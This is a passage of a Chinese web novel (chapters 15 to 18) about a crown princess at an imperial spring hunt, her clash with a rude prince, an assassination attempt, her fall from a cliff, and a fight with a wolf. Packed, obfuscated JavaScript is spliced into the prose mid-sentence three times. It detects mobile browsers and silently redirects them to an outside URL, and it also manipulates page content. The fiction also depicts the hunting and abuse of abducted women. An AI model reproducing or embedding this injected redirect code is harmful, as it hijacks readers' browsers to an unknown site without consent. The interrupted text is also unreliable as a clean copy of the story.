“好了,大家都上马吧。”陛下振臂,于欢呼中宣布了狩猎开始的前奏,包括各家受宠的女孩儿们也都纷纷上了马。 “去吧。”贺遇递上了弓箭,推动轮椅让开了一步,给祁允辞留足了空间。 张扬的笑容一直都没有落下,祁允辞俯身,朗声问道“殿下想要什么,臣妾都替殿下打来。” 贺遇一个人坐在轮椅上,身后站着凌霄,眉眼中尽是欣赏。 祁允辞乌黑的长发被一根红头绳系在身后,随着身形而跳动着,飘逸得连阳光都成了陪衬,发梢坠着一颗红宝石,与她今日的淡妆交相呼应着,修长的手指握着弓,搭在马头上,正探着身子说话,甚至连不少世家贵女都被吸引了目光。 “这么自信?” 贺遇的眼中带着笑意,认真地问道。 “那是自然,殿下且瞧好吧。” 首乌被牢牢控在身下,虽不停移动着马蹄,却没有让尘埃溅到贺遇的身上。 奈何这种时候也总有人来找不痛快,五皇子轻嗤一声“皇嫂还是别把话说得太早,小心闪了舌头。” 五皇子的眼中闪过积分不屑,不明显,但依旧让祁允辞收敛了笑意。 只见贺景城拉满弓,气势十足,不顾狩猎的鼓令,一箭拿下了那只正在不远处吃草的狍子,鲜血飞溅,染红了草地,将离的稍微近些的世家小姐们吓了一跳,更是惹得几个备受宠爱的姑娘不雅的翻了白眼。 而他还是一无所觉,甚至扭头对祁允辞与贺遇拱手道: “皇嫂还是要抓紧时间,可千万不要让太子皇兄输得太难看了,毕竟,皇兄已经有一年颗粒无收了。” “你在说什么?”三皇子贺景川也来到了一旁,打断了自己弟弟的话,好像十分不好意思,辩解道“皇嫂勿怪,五弟只是一时兴起。” 话还没说完,就被首乌昂首的嘶鸣声打断,流光溢彩的毛发在阳光的照耀下宛若七彩的飘带。 祁允辞的声音与之一并传来“那希望他在这场狩猎中,五皇弟能一直有这样好的兴致。”言罢,直接策动首乌,在众人面前飞身越过草丛,一只落单的羚羊迅速奔跑,数十米开外的祁允辞将弓箭拉满,箭羽轻轻颤动,霎那间离弦而出,有石破天惊之势,擦过羚羊的一侧,入石三分,直直插进了那石缝中,那羚羊仿若受到了惊吓,竟直接摔在了地上,一时爬不起来。 四周响起一阵又一阵的惊呼声,连陛下与皇后都纷纷侧目,跟在陛下身旁的禁军统领都略感诧异,没想到这位太子妃有如此大的能耐,毕竟在他们的眼中,祁允辞所有的荣光都来源于她姓祁,镇北侯府的祁。 祁允辞坐在高头大马上,踱步到了陛下和皇后的跟前,翻身下马,行拱手礼道“陛下,娘娘,春寒料峭,这羚羊的皮毛没有受到分毫损伤,做条披肩,正好。” “好!”陛下“赏。” 皇后娘娘也笑着说道“太子妃好箭法。” 站在贺遇面前的两位皇子此刻的表情却实在算不上好,尤其是五皇子,白给祁允辞做了嫁衣,就在他准备打马离开的空挡,贺遇却平静开口“孤让你走了吗?” 五皇子慕然回头,不明所以。 贺遇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14766140|155987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手指敲击着扶手,缓缓说道“为弟者而目无尊长,谁给你的胆子见到孤不下马行礼的?你眼里可还有尊卑?又是谁给你的胆子,嘲弄孤的妻子,不敬皇嫂?你是想惹得兄弟阋墙,让父皇难做,还是对孤有什么不满,准备取而代之?” 贺遇的声音不大不小,却足以让附近的人听个分明,无一人插嘴,都看向了还骑在马上的两位皇子,贺遇本就算不上好脾气,此刻太子威仪尽显,直逼得二人最后只能默默下马,在众人面前对着贺遇行礼作揖,不敢露出丝毫不满。 此时一声鼓响,春狩彻底拉开了序幕,祁允辞如同一只离弦的箭,冲在最前方,身后跟着阿萤,她忽然回头,对着贺遇扬了扬手,看不分明她的表情,却也惹得贺遇展露了笑意,回想起出发前,祁允辞偏头,缠着他问到底想要什么时的身影,摇了摇头。 “那请太子妃打只小狐狸回来吧,抓活的。” “没问题。” 少年人的意气风发在祁允辞的身上显得淋漓尽致,透过她此刻的风姿,让贺遇一时之间竟有幸窥得她于漠北跑马时的风彩。 待在京畿,委屈她了。 贺遇的手中握着的,是一枝桃花,那是祁允辞刚刚折下抛过来的一抹春色。 他看着他的太子妃一马当先,比起男子也丝毫不逊色,甚至隐隐压过一头。 “你同祁允辞关系倒是好了不少。”陛下在一旁问道,眼中闪过探究,而贺遇的神色却不知何时早已一如往常了。 “回父皇,太子妃鲜活、漂亮,很难不让人将视线落在她的身上。”贺遇的眼中全是欣赏,只是淡漠,像是在评价一个物件“就像美好的东西,总能够吸引大部分的目光,让人想弄到手。” 在王帐内,父子两人都在隐晦的试探着对方的态度。 “嗯,你自己知道便好,别忘了,她终究是镇北侯的妹妹。” “那是自然,爱美之心,人皆有之,但也不是必需品,这件事情儿臣自然知晓。” 就在这时陛下忽然开口问道“祁允辞好像很关心那个叫桑榆的民间女子?” “回父皇,算不上,儿臣以为太子妃只是一时兴起,想要做一个自以为是的救世主。” “这都不重要,春狩结束后,你同谢运,亲自走一趟,去定州。” “是,儿臣领命。” ……………… 千里之外的京畿在狩猎猎物,而定州则在狩猎女人。 “放过我,放过我。”山林被围了起来,无数的年轻女孩儿们被圈禁成了猎物,供官员、富商、乡绅们玩弄,那箭羽划破了女人的衣衫,划伤了她们的皮肉,她们狼狈不堪,她们抱头鼠窜,如同羚羊一般受到惊吓又被逼上绝路,如同拎一只兔子一般又被随手拽上了马,毫无尊严的瑟瑟发抖,压在喉咙中的呜咽声,成了这场狩猎的兴奋鼓点,越发激起男人们的□□。 有些性烈的姑娘们夺过箭羽反抗,竟直接被扔下了马,成了马蹄下的亡魂。 他们丑陋的嘴脸就像是从地底爬出来的烂泥一样的怪物让人恶心,甚至还有定州的父母官员,狼狈为奸,那一层层假面下的皮囊皱皱巴巴的,是披上人皮的恶鬼,凶神恶煞的眼中全是贪婪与草菅人命后的冷血。 猪狗不如的东西,衣冠禽兽有了前所未有的写照。 都去死!! 该死!! 不知何时,巨大的塌方终于唤起了一丝残存的人性。 “怎么回事?” “不好了!知州,铁矿塌了。” “你说什么?” “人都死了。” 李径寒骑着马,看着封禁的定州城,赶紧混进了菜农中,滞留在城外,命人快马加鞭给东宫送信。 而另一边岑佑不知何时悄无声息的混进了挖矿的队伍中,赶在塌方前捞起了一个年幼的男孩儿,逃了出来,脸上,背上,全是鞭子留下的伤痕,不过短短数日,就已经看不出太子妃近卫,镇北军前锋的风采。 他疼得一时之间有些龇牙咧嘴,望向那宛若深渊的巨口,却更是胆寒,没有多少人活着出来。 死亡 成了一瞬之间的事情。 那大理寺派去查案的人又在哪里呢? 16. 郡主猎场训皇子,遇假故交而坠崖…… 山羊死了。 “奖励。”阿萤摊开手,伸到了祁允辞面前,在一刻钟之前,主仆两人玩起了狩猎比赛,奖励是十两黄金,当然,走祁允辞的账。 而就在刚刚, 祁允辞拉长弓箭,正对着前方吃草的山羊,离弦而出,阿萤耳尖微颤,便已注意到身后同样射出了一箭,只不过理论上的目标应该是那只兔子,只可惜靶子不准,阴差阳错间惊跑了那只山羊,祁允辞一箭落空,还没挽弓射第二次,阿萤的箭矢就已经擦着她的面颊飞了出去,正中山羊。 “主子,你输了。” 阿萤打马,将身边跟着的侍从撂下,亲自上前,将那只山羊握着羊角拖了回来,唇角还扬着笑意,轻轻晃动了一下自己的身子,大声地又一次找祁允辞讨奖励。 此时身后传来一道女声:“臣女拜见郡主。” 祁允辞也注意到了后面的姑娘,她端坐马上,上下打量着,瞧着年岁不大,应该是哪家得宠的后辈。 那姑娘翻身下马,行礼道“臣女户部尚书之女孙喜依,拜见太子妃娘娘,刚刚惊扰太子妃,实在是惶恐。” 祁允辞抬手“无妨。” 她垂下眼看着那把精致小巧的弓箭,就是可惜拿着的人还是不能很好的掌握力度“你家兄长呢?怎么只有一个侍女跟着,猎场上箭矢无眼。” “回娘娘的话,家兄同三皇子在前方,臣女跟不上,便落了单。” “那可真是不够负责啊。”打趣一句,也不等回答,祁允辞余光一扫,便看见了那只不知好歹的兔子又冒了头,挽弓搭箭一气呵成,一瞬间便已毙命。 祁允辞从侍从手中接过那只兔子,提溜着它的耳朵,拿到了孙喜依的面前“送你如何?” “臣女先谢过娘娘。” 她坐于马背之上,只戴着一只素钗子,描摹了淡妆,是京城最为时兴的一款,因着年岁不大,穿着收束的便于骑行的春装,还披着一件兔毛做的披风。 孙喜依倒也不怕,伸手,刚准备接过兔子,祁允辞的脸色却是一瞬之间骤变,瞳孔放大,猛然松手,那兔子便被一箭射了个对穿,直直的挂在了前方最近的那棵树上,首乌似有灵性,先是吓退了孙喜依的马,随后稳稳地带着祁允辞往后退了好几步。 阿萤的箭羽直接射向了来人的方向,却被赶过来的侍卫一刀挡下。 孙喜依紧紧握着缰绳,像是没有回过神来,转头看向那只兔子,又扭头看见了来人,只得先行下马,微微低着头,赶紧行礼道“臣女拜见五皇子殿下。” “哟,原来是孙姑娘,没吓着你吧。”五皇子抬了抬下颌,让人起身,这才在马上略微拱手“哎,瞧我这眼神,竟没看见那兔子是皇嫂的猎物,惊了皇嫂,实在是过意不去,眼神不太好。” “眼神不太好?”祁允辞冷笑一声,“那你骑什么马?射什么箭?打什么猎?眉毛下面挂俩眼珠子是留着让你狗眼看人低的?”马鞭重重甩在地上“那招子要是留着没用,本宫替你剜了如何?” 五皇子的面容有一瞬间的扭曲“你敢这么跟本宫说话?” 阿萤的弓到现在还没有放下,对着贺景城,就好像只要祁允辞一声令下,她就敢射杀皇子一般。 五皇子的侍卫赶紧用自己挡在前方,亮出了明晃晃的刀,而祁允辞身后跟着的侍从也上前一步,只是没有拔刀。 “五皇弟,本宫话都说出口了,你还要问敢不敢说吗?你要问就问本宫敢不敢做。” 祁允辞一拽缰绳,几息之间,首乌便已经来到了贺景城的面前,他的侍从都紧绷着身子,但却真的不敢拦住这位太子妃。 “太子妃娘娘!”只得在被越过的瞬间惊呼。 “皇嫂想要杀我?”五皇子看着逼近的祁允辞,勾着嘴角,似乎并不当回事儿“皇嫂,诛杀皇子,可是重罪啊”声音很轻,贺景城探着身子,他那双眼睛和皇帝长的很像,带着更加明晃晃的恶意,又忽然坐直,理了理自己的衣襟“皇嫂,不过是只兔子,你若是想要,皇弟再送你一只便是,毕竟这里可不是漠北,要是真做出了什么不可挽回的事儿,太子皇兄可护…………” 话还没说完,就看见祁允辞伸手拂过马匹,马鞭却骤然抽在了马的背后,那马直接撅了蹄子,骤然提速,带着贺景城冲了出去,他还没有反应过来,就一瞬之间梦回十几天前,当街坠马时的情形,一把抓住缰绳想要控住它。 可在猎场上的马匹也不知道是不是因为见了血,野性激发之下竟有些拉不住,身边的侍从和祁允辞同时驾马,首乌轻松超过众人,与贺景城并驾齐驱。 “太子妃,那是五皇子!”侍卫统领赶紧高喊道,生怕她再做出些什么。 祁允辞一把拽住了缰绳,在飞驰的力道下,手心有了红痕,再次用力,拽过马头,领着它向右,奋起扬蹄,首乌发出了嘶鸣,贺景城也赶紧顺着力道制住烈马,在不断颠簸的马身上,贺景城的脸色有些发白,祁允辞却面色如常,她就像是一位长胜的将军,在侍卫统领赶来后,高声喝到“接着你家主子!” 一拽,一扔,贺景城缓过来,顺着力道,坐上了侍卫的马,那匹黑色的马还挣扎着往前,祁允辞于空中翻身,便骑在了马背上,争相的嘶鸣声,祁允辞紧紧拽起缰绳,马被迫着仰头,四蹄跳跃着想要将她摔下马,又被狠狠镇压,四周的侍卫们都看着眼前一幕,想要上前却被阿萤拦下,半包围的圈里,只余下两马一人。 侍卫首领下马,牵着缰绳,贺景城皱着眉头,看着场中央。 阳光透过层层叠叠的树叶洒下来,正巧落在了祁允辞的脸上,眉目之间的肆意连挡都挡不住,一声怒喝,在马匹最后的暴怒奋起之后收归平静,这匹汗血宝马吐着热气,最后低下了头。 祁允辞扭头,对着贺景城笑道“五皇弟,总有手段教你敬爱兄嫂,不是吗?” 在众人的注视下,祁允辞施施然跃上首乌,马蹄清扬,扫了一眼不知道从哪里冒出来的三皇子与孙喜依的兄长,一挥马鞭,便已领着人扬长而去,只留下那匹马还在原地。 祁允辞带着阿萤将众人扔在了后面,但此时的阿萤明显不太开心,虽然说她一直木着一张脸。 祁允辞一箭射下了一束桃花,在落地之前勾着腰接住,捧在手中递到阿萤的面前,绣着红色暗纹的衣袖,顺着看上去是祁允辞勾起的唇角,那双眼睛泛着吊儿郎当的习气,高高束起的马尾还在一甩一甩的,额前却已经被汗水打湿了。 “你生什么气?” 祁允辞问道,不太当回事儿,调笑道“怎么?担心我?” “我为何担心你,主子要是连一匹马都驯服不了,那就是你无能。” 祁允辞不置可否地点了点头“那你气什么?” “他们看不起我们。” “那又如何?我们会拿到比他们多得多的猎物。” 两支箭羽同时掠过,各自都拿到了一只。 “再比比?” “好。” 两人分头,都各自领着几个人离开。 没走几步,祁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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只能看见另一边扬起了尘埃,祁允辞刚扭头,拉平了嘴角,就听见胆敢刺杀两位皇子的怒骂声,可就在这个节骨眼,祁允辞凭借本能往后一移,躲开了树上丢过来的暗器,同时对着那个方向扔出,暗器对上暗器,尽数被打落于地。 她早已拿出匕首做好了迎敌的打算,可就在此刻,在众目睽睽之下,那个男的也不知道抽了什么疯,飞身挡在了祁允辞的面前,暗器没入皮肉的声音,炸响在祁允辞的耳畔,然后两人就一起滚下了陡坡,徒留首乌一马在上面发出嘶鸣声。 跑在前方的刺客,本和那群有着余荫的,世家子弟出身的禁军打的有来有回,也不知道怎么回事,忽然之间,就卸了力,在破绽中毙了命,还没说抓活的,就已服毒自杀。 可此刻,没人再去管这几名刺客了,包括贺景川在内,都黑了脸。 “还愣着干什么?赶紧下去找啊!”五皇子怒骂道,直接驾着马,来到那个陡坡一旁,只觉得眼前一黑,他虽然处处针对祁允辞,可不敢真要了她的命,她要是真死在了京城,后果不堪设想。 从贺景川的角度往下望,那与其叫做是陡坡,不如说是悬崖,怪石嶙峋,又生长着各色枝杈,虽上面没有被绿叶覆盖,可最底下却是长青的绿树,遮天蔽日,只能看见树枝的颤动以及飞鸟的鸣叫声。 “来人,带队,下去找,再来一队人去禀告父皇。”贺景川死死盯着眼前“你,拿着本宫的令牌,去北大营,告诉他们,猎场有刺客,让他们来护驾。” “是。” 而下面被迫摔得七荤八素的祁允辞却早已问候了和她摔在一起的这个男人的祖宗十八代。 她是想把人踹下坡,在众人面前躲躲,却没想着把她自己也摔下来啊。 树枝撞在了后腰上,让她疼的有一瞬间一口气没提上来,折断的树枝没有挂住他们,还在往下坠落。 要死啊! 17. 第 17 章 “咳咳”祁允辞的手肘撑着地,缓缓挪动着自己,右手手臂上的刮痕深可见骨,皮肉都没了大半,缠在手臂上的马鞭已经断成两截落在一旁。 祁允辞撕掉自己的衣服,缠了一圈,覆住伤口,扶着树,瘸着一条腿站起来,慢慢走到了那名男子的身侧,脏兮兮的脸上面色依旧难看,她缓缓蹲下,男人已经断了气,要是没出意外,他刚刚应该是拿自己给祁允辞减弱了冲击。 祁允辞在他身上仔细摸索着,她总觉得这个人的出现过于奇怪,他不是祁御的亲卫,更像是一个知道什么消息的传递者,正推着她往前走。 猛然,祁允辞撕开了他的衣襟,破烂不堪的衣服里有一个夹层,里面包裹着几封信,仅仅一眼,便让祁允辞心头一震,在斜阳的关照下,信上赫然是祁御的字,而落的却是燕王的私印。 “定州?” 茫然,怎么会如此凑巧? 下意识舔了一下下唇,遮住眼中的疑惑。 祁允辞一时半会儿还不能理解信上的数字究竟是何意,只得先把信仔细收好,咬着牙,从随身携带手串中,掰开一粒止血的药丸,咽下的瞬间又激起一阵扯着心肺的咳嗽声。 天快黑了,先找个地方落脚。 祁允辞弓着身子,一步步往前挪,她不敢赌陛下会什么时候派人来救她。 她咬着后槽牙,心中止不住的怒骂,就算是送信,不能用点儿温和的手段吗?要是差点儿把她摔死了,那还玩个毛线啊? 忽然之间,一声虎啸由远及近,一瞬间,汗毛倒竖,屏息凝神,祁允辞的喉头滚动,默默蹲在一个不太深的洞内,猫着,尽力平复自己的呼吸,咽下口水,不断往后靠,在斜阳最后的挽歌中,传来更大的震动声,是一只巨大的棕熊,像是发了狂一般跟在老虎的身后,祁允辞定睛一看,竟是那老虎叼走了棕熊的幼崽。 忽然之间,那老虎吐出幼崽,猛一旋身,和棕熊撞在了一起,两头猛兽的怒吼声传过千里开外,让祁允辞的耳朵都感到了嗡鸣,她皱着眉,将自己蜷缩在一起,紧紧遮住自己的双耳。 好像四周的动物都感受到了威胁,正在奔走逃命。 阿萤猛然拽住了首乌,脸上尽是焦躁,耳朵震颤,猛然用右手捂住了一只耳朵。 “怎么了?”岁寒问道。 而北大营里面将士们也来回踱步着,这里面的副手是老镇北侯手中带出来的兵,面对郡主摔下悬崖一事,更是直接在陛下面前立了军令状。 “喂,怎么回事儿?赶紧赶路啊?” 话还没说完,一只梅花鹿就直接冲了出来,又慌不择路的逃离,随后的虎啸声传到了所有人的耳中。 贺遇坐在轮椅上,骤然握住了双手,听着贺景城的说法,骤然发难道“你们带着禁军追刺客,没做到全部毙命也就算了,还让太子妃跌落悬崖生死未卜,你们是干什么吃的?合着都不能护主,唯一的伤亡来自孤的太子妃?”拿鞭子骤然脱手,直接甩在了禁军首领的身上。 “怀瑾。”披着披风的皇后劝道“你先别着急。” “娘娘,摔下悬崖的人是孤的妻子,你让孤如何不急?”贺遇对着陛下再次行礼道“陛下,儿臣要求北大营尽数去寻找太子妃,保证太子妃的安全。” “嗯,去吧。”陛下摆了摆手,让北大营主将亲自前往,整个猎场的布防,落到了谢运的手中,而凌霄却也不知何时失了踪迹。 “父皇。”贺遇深吸了一口气,才接着说道“还望父皇恕罪,儿臣同谢将军负责整场狩猎事宜,却让刺客乘虚而入,这些尽数是儿臣的错,儿臣因为过于相信太尉的布防,而没有细究,可能存在的问题。”贺遇缓了一口气,红了眼眶,声音发颤“万望父皇……” 话还没说完,李太尉连同自己家中的长子就已经跪在了地上。 陛下没有搭话,也没有让人起身,就这样僵持着。 而楚清舒死死攥住了衣角,他的身体一直算不上很好,对于这种活动也不愿意参加,没想到一回来就听见了祁允辞坠崖的消息,一时之间,也只能有心无力,根本没办法让自己的势力入猎场寻找。 这边是权力的角逐,另一边则成为了野兽的争斗。 殃及幼子,难怪棕熊找你拼命。 祁允辞紧紧的躲在灌丛中,那些带着绒毛的新叶扎的她浑身都痒,但她同样不敢动,手脚冰凉,生怕这两头杀红了眼的东西,回过神,把她也一并杀了。 祁允辞默默攥紧了匕首,在心中想着对策。 一声虎啸穿透丛林,结束了这场战斗,尖牙刺穿了棕熊的脖子,鲜红的血液滴落,皮毛上尽数染上了鲜血,那棕熊嘶吼一声,甩开老虎,想要逃离,却被截住了道路,没办法只能再奋起一搏,最后竟和自己的孩子一起做了老虎口中的亡魂。 祁允辞看着老虎将自己的战利品拖走,留下碎骨头和鲜血,长长的划痕留在草地上,一直等到天已经彻底黑透,脚蹲到麻木,祁允辞才踉跄着钻了出来。 她感受到了早春谷底的寒冷,沿着河边捡了一些柴火,临时生起了火堆,一阵又一阵的咳嗽声,用刀在碎骨头上剜下了几块肉,半生不熟的充饥。 她不明白,为什么到现在还没有人找到她,不过人是没找到,狼倒是率先找到了今晚想要狩猎的猎物。 祁允辞口中的肉还没有咽下去,就感到了背后的凉意,一双绿色宛若鬼魅的眼睛死死盯着祁允辞,涎水已经不断的分泌,随后滴下。 真是天要亡我啊! 祁允辞抿住了唇,命悬一线,还有闲心骂两句老天爷。 在一狼一人的对峙中,那匹狼跃起,一瞬间棒骨脱手而出,祁允辞跳到了火堆的另一边,手中紧紧握着匕首,右手的衣物又一次渗出了血。 就说丝织品不吸血了。 祁允辞感慨一瞬,匕首插进了狼的前额里,骤然响起尖锐的狼叫声,巨大的身躯将祁允辞高高甩起后又骤然落下就,匕首和人一起摔了出去,掉落在了小溪的边缘,差点儿跌落下去。 “在那边!”阿萤听见了狼的叫声,首乌躁动的拖着人往前跑,她赶紧对着众人叫道,宛若一支离弦的箭一般。 “主子!”阿萤大喝一声,那匹狼张着血盆大口,对着祁允辞便要咬下去,三支箭羽立刻脱手,那狼在中间换了个身形,竟然躲开了两支,唯有一支,在扎入的瞬间,激起了更大的血性。 阿萤和北大营的将士们直接扔下了马,朝着祁允辞的方向飞奔而去。 在狼咬下的那一刻,众人只觉得脑中的血液倒涌。 “主子!” “太子妃!!” “叫什么叫?吃屎都赶不上热乎的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14819183|155987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那匹狼的身子被祁允辞扔到一边,一个滚身,从身下钻了出来。 凌乱的衣衫,祁允辞喘着粗气,浑身上下像是被血抹过一般。 沙哑的宛若被石子刮过一遍的声音传来“你们要是再来晚一点儿,本宫就能拖着肉去接你们了。” “请太子妃娘娘恕罪。” 岁寒赶紧仔细检查了祁允辞的伤口,尤其是腿和手臂,止血、止痛的灵丹妙药,尽数洒在伤口上,皮肉宛如再次生长般的疼让她一瞬间瞪大了眼睛。 阿萤快副将一步,将祁允辞扶上了马,随后翻身而上,将祁允辞护在了自己的面前,带着人回营帐,他们走的不快,生怕再次撕开祁允辞的伤口。 只是祁允辞好像不在乎一般“哎,给本宫把那狼带回去,还有用帕子绑在一旁的那只狐狸。” 众人这才看见,除了那匹狼以外,竟然还有一只火红的小狐狸被她绑在一旁的矮灌木从的树杈上。 “是。” “儿臣见过陛下。” 祁允辞虚弱的趴在马背上,一副狼狈的快要断气的模样,贺遇紧紧盯着,有一瞬间内心轻颤,而李太尉竟然到现在都还跪在地上。 贺遇自己推动着轮椅,在众人面前向首乌靠去,手指攥住了缰绳,内心竟然泄露出了几分真情实感的心痛,他张了张嘴,又缓缓闭上。 “行了,回来就好,大家都先回去休息吧,有什么事情,明日再议,怀瑾,把你家太子妃待会营帐,让太医好好诊治。” “陛,陛下,咳咳。”祁允辞断断续续的唤道,众人的目光再次集中到了她的身上。 “何事?” “父皇,不知父皇可已经核算过大家所狩猎的动物数量。” “什么?”元帝都没想到祁允辞好不容易捡回一条命,想到的第一件事竟是这个。 就在这时北大营拖回了那头狼,扔在了众人的面前。 “好好好”元帝抚掌“当真是虎父无犬女,既然如此那把弓便赏给祁丫头,你们可有异议。” “无。” “父皇,儿臣还有一事。”祁允辞喘着粗气再次说道“那些刺客来得蹊跷,好像对狩猎的场地十分熟悉,还望父皇今夜一定要命人仔细看守。” 元帝还未说话,贺遇便接上了“父皇,四年前的狩猎让儿臣没了双腿,而今又让儿臣差点与夫人阴阳两隔,就好似太子府与这狩猎场犯了忌讳一般,是谁要儿臣同太子妃的命,又是谁能次次对这猎场如此熟知啊。” 李太尉不敢开口,只能跪在地上,接受着众人的审视。 “来人,太尉今夜也累了,先去帐内休息吧,朕也乏了,都散了吧。” 陛下说完,径直离开。 祁允辞注意到贺遇身边的凌霄不在,她眸中微动,也可能实在是太累了,没有心思再去思考什么,任由阿萤牵着马,跟在贺遇的身后,直到被送入帐内,她都才悠悠醒来,橘黄的灯火照亮了贺遇的面颊,眼窝处鲜红的痣竟和微红的眼眶交相呼应,像是浅淡的水墨画晕染出的别样的色彩,就好像哭过一般。 “你……” 祁允辞的话没有说完,就看见贺遇逃避似的别开了脸,像是假夫妻做成了真的,两人的心头都慕然被烫了一下。 忽然,祁允辞的胸口好像有什么东西动了动。 18. 第 18 章 “怎么了?”贺遇问道,紧蹙的眉头显示出他的焦急“太医呢?火不烧到跟前不知道急是吧?能治治不能治就滚。” 祁允辞略微睁大了眼,和胸前趴着的应激的小狐狸表情一致,就这样仰望着贺遇。 贺遇低头看着那只狐狸,又看看祁允辞,刚想说出的话一瞬间卡壳了,显出了几分呆愣。 祁允辞扑哧一声笑了出来“太子爷,赶紧让太医起身吧。” 祁允辞招了招手,让华岁接过了用布包起来的小狐狸,在她起身的那一刻,祁允辞捏了捏华岁的指骨,眼中闪过一丝不易察觉的狡黠。 贺遇用手撑着额角,咳嗽了两声,给太医让开了路,让人赶紧诊治,墨守陈规放下的帷幕阻隔了两位太医的视线。 胡太医跪在地上,只能小心翼翼地掀起了祁允辞的衣袖,看着那深可入骨的刮痕咬伤,心下便已是大骇,赶紧搭上脉,已经能够看出太子妃有了发热的前兆,伤口的感染更是不容人忽视。 一旁的杜太医跪在一边,仔细记下所需要的药材,而门外肖培安则替陛下送来了一系列能找到的补气血的东西。 贺遇时常需要喝药,但这人却一向厌恶药草的味道,屋内更是常常大开着窗子,不愿意让屋内染上经久不散的药味。 可看着祁允辞断断续续地咳嗽声,他却让人紧闭了门窗,生怕再受寒风,加重病情。 “太子殿下,太子妃今夜受惊,更是有多出伤口,只怕今夜必定会发热,臣等先去外面煎药,务必保证太子妃今夜绝不能受寒,至于外伤,还请用药后仔细包扎。” 胡太医飞速地交代着,而岁寒则是直接掀开了帷幕后又放下,钻进去,为太子妃疗伤。 “嘶——”此时的祁允辞已经烧的有些迷糊了,在触碰到伤口的那一刻,泄出了几分细碎地轻呼声。 贺遇下意识地坐直了自己的身子,往前倾,可在手扶上轮椅的那一刻,又缓缓放松了下来,他深深地看了一眼帷幔,影影绰绰,看不分明。 贺遇缓缓叹了一口气,直接将众人都带了出去,仅仅遗留下祁允辞自己的侍女。 外面的寒风吹的贺遇一个激灵,这才发现,他没有带大氅。 贺遇愣了愣,终究没有再差人回去取,可就在这个档口,撞上了将小狐狸洗干净擦拭好,用毛毯裹着的华岁。 “奴婢见过太子殿下。” 华岁行礼道“这是主子带回来的,想必是送给殿下您的,您要不抱抱?” 贺遇挥退了上前的侍从,亲手将小狐狸抱在了腿上,它的牙口比娇娇厉害多了,刚一伸手,贺遇的手指上便多了俩血窟窿。 “殿下!” “无妨。”贺遇直接拿衣袖擦拭了血迹,对着华岁,缓缓说道“小心伺候你们家主子。”随后便直接自己令人推着轮椅,去了另一个房间,将主卧让了出来。 岁寒在身后看着贺遇的背影,饶有兴趣的偏了偏头,随后才走进房间内。 屋内昏黄的灯光依旧亮着,祁允辞紧紧皱着眉头睡得实在不算安稳,不断地咳嗽声像是破掉的风箱,一阵一阵的,屋内燃起了炭火。 残存的那点儿意识逼迫着她把药一口咽了下去,泛上来的苦楚,让她差点儿又一口吐了出来。 岁寒小心翼翼地撕开了衣衫,树枝的刮伤,野兽的撕咬都在身上留下了重伤,尤其是后腰的位置,乌漆嘛黑的一大片,连岁寒都倒吸了一口凉气。 华岁扶起祁允辞,皱起鼻子,深深地吸了一口气“这,这说是在京城,伤的都快赶上在边关的时候了,哎。” 岁寒替她擦着药,浑身都跟烧着了一样,祁允辞嘴里太苦了,总往外泛着酸水。 “阿萤,再去倒杯水。” 阿萤赶紧又接了一杯水,可就在这个时候,窗外传来了敲击声“属下奉殿下之命,送来的蜜饯,还请姑娘们稍稍打开窗户取一下。” 阿萤和华岁她们对视了一眼,赶紧打开了一点儿小缝隙,接过了蜜饯。 “殿下?” 贺遇在身后,瞥了凌逸一眼,没有搭腔,反将视线再次落在了那只小狐狸身上,手指一下一下地抚摸着它的皮毛。 那狐狸跟通了人性一样,难得几分温顺。 在月光的照耀下,那火红的皮毛宛若披上了一层薄霜,尤其是那双眼睛,他总觉得好像是和祁允辞一个模子里刻出来一般。 “殿下要是不放心,干嘛不进去看看?”凌逸直接开口问道。 “管好你的嘴。”贺遇直接打断了凌逸的话,自己推着轮椅往前走,独留凌逸一人在后面挠了挠头,赶紧跟了上去。 “孤让你处理的事情怎么样了?” 凌逸在一旁的屋内单膝跪下,收敛了愣头青般的莽撞,连忙汇报道“回殿下,北大营主将韩赐已经毙命,可以提拔我们自己人上位,至于左副将张越,是镇北侯府的老将,陛下必定不会信任。” “嗯。”贺遇点了点头,心思明显有些跑空,过了会儿才问道“凌霄呢?” “萧哥领着太子府的人走了另一条路,撞上了禁军,随后一直同行,不会引起怀疑,可以直接栽赃到刺客身上。” “行了,你下去吧。” 贺遇说完自顾自推开了内室的门,却在一瞬间,被门槛卡住了去路,他这才想起,已经把自己的主卧让给了祁允辞。 “哎呀呀,瞧属下这脑子。”凌逸并不时常在贺遇跟前伺候,在此刻竟然有一瞬间没有反应过来,赶紧上前,托起轮椅,将太子殿下放进了内室。 “殿下,需要属下伺候您沐浴吗?” “放水,然后滚出去。” 贺遇紧紧抿着唇,那只小狐狸就在刚刚,因为贺遇身体前倾,被摔倒了地上,惊叫一声,将自己缩成了一团,害怕似的跑开了。 “过来。”贺遇皱着眉,往前探着身子,手放在地上,妄图得到那只小狐狸再次的亲近,奈何它又往后退了几步。 贺遇再次往前探了探身子,直接撕开了包扎伤口用的布料,一使劲,挤出了鲜血。 “殿下?” 贺遇冷冷看了凌逸一眼,他瞬间噤声,然后继续诱哄到“过来。” 奈何这点儿血,实在是吸引不了它。 